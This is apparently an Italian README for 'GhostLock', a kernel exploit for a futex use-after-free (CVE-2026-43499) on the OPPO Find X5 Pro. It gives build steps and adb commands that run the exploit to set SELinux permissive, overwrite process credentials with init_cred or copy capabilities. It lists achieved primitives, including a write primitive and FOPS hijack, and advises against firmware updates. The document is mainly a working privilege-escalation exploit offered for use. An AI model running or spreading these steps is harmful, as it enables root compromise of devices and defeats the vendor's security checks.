GhostLock — PFEM10

Exploit per CVE-2026-43499 (IonStack) per OPPO Find X5 Pro (PFEM10). Kernel 5.10.236-android12-9-o, UAF su futex CMP_REQUEUE_PI → primitiva di scrittura pi-tree.

Usalo a tuo rischio. Aspettati panics / riavvii. Non aggiornare il firmware.

Build

./build.sh        # richiede Android NDK r28c

I parametri di build sono fissi (-O1 / android26) — modificarli rompe la calibrazione della geometria dello stack.

Esecuzione

adb push exploit /data/local/tmp/
adb shell /data/local/tmp/exploit W1    # SELinux permissive
adb shell /data/local/tmp/exploit W2    # cred figlio -> init_cred
adb shell /data/local/tmp/exploit W5    # copia cred solo caps

Riprova tra i riavvii: bash run.sh <mode> [attempts]

Struttura

src/     exploit + payload + offset (exploit.c, payload.c, pfem10_target.h)
lib/     libreria heap-leak KernelSnitch
model/   modello chain-walk rtmutex (verifica host)

Stato

• Trigger UAF, reclaim controllato, primitiva di scrittura, hijack FOPS
• W1 (SELinux permissive)
• Scrittura cred W2 / W5 (bloccata da oplus_root_check, route solo caps in corso)

Crediti

CyberMeowfia · IonStack (exploit originale)